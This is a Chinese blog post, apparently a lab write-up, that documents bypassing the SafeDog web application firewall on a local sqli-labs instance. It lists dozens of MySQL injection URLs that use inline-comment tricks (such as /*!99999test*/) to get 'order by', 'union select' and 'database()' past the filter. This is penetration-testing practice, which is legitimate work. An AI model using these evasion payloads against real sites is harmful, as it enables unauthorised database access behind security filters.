转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html

微信公众号:信Yang安全。同步更新,欢迎关注。文末有二维码。

正好最近在搞注入,昨天现装的安全狗练练手,搭建环境如下图:

拦截日志如下:

过产品第一步想法是确定哪些会被拦截,哪些不会被拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1%27order 1’ order 不拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1%27%20order%20by%201

1’ order by 1 拦截

1’ order by 1 --+ 拦截

综上,基本确定order by连用会被拦截 第一步尝试绕过orderby的拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1' order/*!by*/ 1 --+ 不拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1'order /*!by*/ 4 --+ 不拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1' order/*!10000by*/ 1 --+ 不拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1' order /*!99999*/by4 --+ 不拦截

http://192.168.35.132/sqlilabs/Less-1/?id=1’ order/*!99999test*/by%204--+不拦截

Order by处几种绕过

http://192.168.35.132/sqlilabs/Less-1/?id=1' order/*!by*/ 4 --+

http://192.168.35.132/sqlilabs/Less-1/?id=1' order/*!10000by*/ 1 --+

http://192.168.35.132/sqlilabs/Less-1/?id=1' order /*!99999*/by4 --+

http://192.168.35.132/sqlilabs/Less-1/?id=1’ order/*!99999test*/by%204--+

接下来尝试union select

http://192.168.35.132/sqlilabs/Less-1/?id=-1 union 不拦截单纯的一个union是不会触发的

http://192.168.35.132/sqlilabs/Less-1/?id=-1%27%20union%20select%20--+拦截

确定union select在一起会拦截

结合之前绕过的payload 想办法把他们分开

http://192.168.35.132/sqlilabs/Less-1/?id=-1' union/*!select*/ 1,2,3 --+  拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1' union/*!10000select*/ 1,2,3 --+  拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1' union/*!99999*/select 1,2,3 --+  拦截

尝试加起其他东西进去再加一组符号
http://192.168.35.132/sqlilabs/Less-1/?id=-1' union/*!99999/*!*/*/select 1,2,3--+ 拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999/*!99999*/*/select 1,2,3 --+ 拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!test99999*/select 1,2,3 --+  不拦截但是报错了

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,2,3 --+ 成功看来得把字母加载后面

尝试从成功的这个入手

http://192.168.35.132/sqlilabs/Less-1/?id=-1’union/*!99999test*/select 1,database(),3 --+ 拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,/*!99999test*/database(),3 --+  拦截  基本判断database被拦截了

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,/*!99999database*/(),3 --+  拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,/*!99999database()*/,3 --+  拦截

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,database/*!99999test*/(),3 --+ 成功显示

http://192.168.35.132/sqlilabs/Less-1/?id=-1'union/*!99999test*/select 1,database(/*!99999test*/),3 --+ 成功显示

http://192.168.35.132/sqlilabs/Less-1/?id=-1%27%20union/*!99999test*/select%201,database/*!(*/),3%20--+成功显示

欢迎关注个人微信公众号:

Mysql注入绕过安全狗的更多相关文章

  1. mysql注入绕过的一些技巧

    虽然mysql + php的开发中可以使用pdo中,但是有些老久的程序没有使用,或其他原因 1.注释绕过 select/*comment*/user/*zzsdsdsf*/from mysql.use ...

  2. sql注入绕过安全狗实战

    =绕过 like regexp(匹配)> < (测试安全狗 ><不可以绕过) 注释+换行(%0a作为垃圾数据填充) 联合查询绕过 探测出当union select 出现时会拦截 ...

  3. Mysql注入绕过姿势

    1.内联绕过 2.编码绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过 or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(9 ...

  4. mysql注入绕过information_schema过滤

    1.利用mysql5.7新增的sys.schema_auto_increment_columns 这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增 ...

  5. mysql 注入绕过小特性

    1. 注释 Select /*多行(单行)注释*/ version(); Select version(); #单行注释 Select version(); -- 单行注释 (两划线之后必须有空格) ...

  6. 绕过安全狗等一些WAF收集

    绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...

  7. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  8. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  9. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. 2019-7-16 import / from...import... 模块的调用

    模块调用的总结:如果你是pycharm打开文件,会自动帮你把文件根目录加到system.path中,你要调用模块直接以根目录为基准开始找.1.假如你要调用和文件根目录为同级的文件,你直接import ...

  2. Python之路【第二十九篇】:django ORM模型层

    ORM简介 MVC或者MVC框架中包括一个重要的部分,就是ORM,它实现了数据模型与数据库的解耦,即数据模型的设计不需要依赖于特定的数据库,通过简单的配置就可以轻松更换数据库,这极大的减轻了开发人员的 ...

  3. java.lang.IllegalArgumentException: Invalid character found in method name. HTTP method names must be tokens

    请求的协议不对  解决方案: 把请求的https改成http 

  4. (转)消息队列 Kafka 的基本知识及 .NET Core 客户端

    原文地址:https://www.cnblogs.com/savorboard/p/dotnetcore-kafka.html 前言 最新项目中要用到消息队列来做消息的传输,之所以选着 Kafka 是 ...

  5. (四) Docker 使用Let's Encrypt 部署 HTTPS

    参考并感谢 周花卷 https://www.jianshu.com/p/5afc6bbeb28c 下载letsencrypt镜像(不带tag标签则表示下载latest版本) docker pull q ...

  6. 实战Go内存泄露【转】

    最近解决了我们项目中的一个内存泄露问题,事实再次证明pprof是一个好工具,但掌握好工具的正确用法,才能发挥好工具的威力,不然就算你手里有屠龙刀,也成不了天下第一,本文就是带你用pprof定位内存泄露 ...

  7. 使用@Async注解创建多线程,自定义线程池

    说明 使用@Async注解创建多线程非常的方便,还可以通过配置,实现线程池.比直接使用线程池简单太多.而且在使用上跟普通方法没什么区别,加上个@Async注解即可实现异步调用. 用法 AsyncTas ...

  8. 一个爬虫的demo,requests,beatuifulsoup使用的

    爬虫的demo,requests,beatuifulsoup import os,re import requests import random import time from bs4 impor ...

  9. 2019-07-23 php魔术方法

    本文对一些php中的魔术方法进行总结,魔术方法顾名思义就是具备神奇功能的方法(function).魔术方法通常在某些特定情况下自动触发,不能用实例化变量名->方法名()来主动触发.不同的魔术方法 ...

  10. 【开发笔记】- Java中关于HashMap的元素遍历的顺序问题

    今天在使用如下的方式遍历HashMap里面的元素时 for (Entry<String, String> entry : hashMap.entrySet()) { MessageForm ...